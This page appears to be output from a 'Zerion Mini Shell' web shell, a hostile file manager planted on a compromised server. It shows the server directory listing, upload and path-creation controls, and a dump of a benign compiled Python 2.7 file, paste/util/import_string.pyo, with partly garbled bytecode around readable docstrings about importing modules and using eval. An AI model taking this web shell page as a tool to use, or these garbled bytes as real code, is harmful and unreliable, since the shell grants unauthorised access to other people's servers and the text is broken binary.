%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib/python2.7/site-packages/paste/util/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib/python2.7/site-packages/paste/util/import_string.pyo

�
b�Nc@s.dZd�Zd�Zd�Zd�ZdS(s�
'imports' a string -- converts a string to a Python object, importing
any necessary modules and evaluating the expression.  Everything
before the : in an import expression is the module path; everything
after is an expression to be evaluated in the namespace of that
module.

Alternately, if no : is present, then import the modules and get the
attributes as necessary.  Arbitrary expressions are not allowed in
that case.
cCsPd|krt|�S|jdd�\}}t|�}t||j�}|S(s*
    Import a module, or import an object from a module.

    A module name like ``foo.bar:baz()`` can be used, where
    ``foo.bar`` is the module, and ``baz()`` is an expression
    evaluated in the context of that module.  Note this is not safe on
    arbitrary strings because of the eval.
    t:i(t
simple_importtsplitt
import_moduletevalt__dict__(tstmodule_nametexprtmoduletobj((sI/opt/alt/python27/lib/python2.7/site-packages/paste/util/import_string.pyteval_imports	
cCs�|jd�}t|d�}|d}|d}d}xS|r�|d|d7}yt|�}|d}Wq<tk
r�}|}Pq<Xq<W|}x\|r�yt||d�}Wn.tk
r�td|d||f��nX|d}q�W|S(s
    Import a module, or import an object from a module.

    A name like ``foo.bar.baz`` can be a module ``foo.bar.baz`` or a
    module ``foo.bar`` with an object ``baz`` in it, or a module
    ``foo`` with an object ``bar`` with an attribute ``baz``.
    t.iisECannot find %s in module %r (stopped importing modules with error %s)N(RRtNonetImportErrortgetattrtAttributeError(RtpartsR	tnametlast_import_errorteR
((sI/opt/alt/python27/lib/python2.7/site-packages/paste/util/import_string.pyR s,

			
cCsCt|�}|jd�}x!|dD]}t||�}q&W|S(s
    Import a module.
    Ri(t
__import__RR(RtmodRtpart((sI/opt/alt/python27/lib/python2.7/site-packages/paste/util/import_string.pyR?s
cCs�yt|�SWn�tk
r�}t|dd�s8�n|jd}|jd�sZ�n|td�}|jd�}x7tt|��D]#}|dj	||�kr�dSq�W�nXdS(s�
    Imports a module, but catches import errors.  Only catches errors
    when that module doesn't exist; if that module itself has an
    import error it will still get raised.  Returns None if the module
    doesn't exist.
    targsisNo module named RN(
RRRR
Rt
startswithtlenRtrangetjoin(RRtdescRti((sI/opt/alt/python27/lib/python2.7/site-packages/paste/util/import_string.pyttry_import_moduleIs
N(t__doc__RRRR(((sI/opt/alt/python27/lib/python2.7/site-packages/paste/util/import_string.pyt<module>s			

Zerion Mini Shell 1.0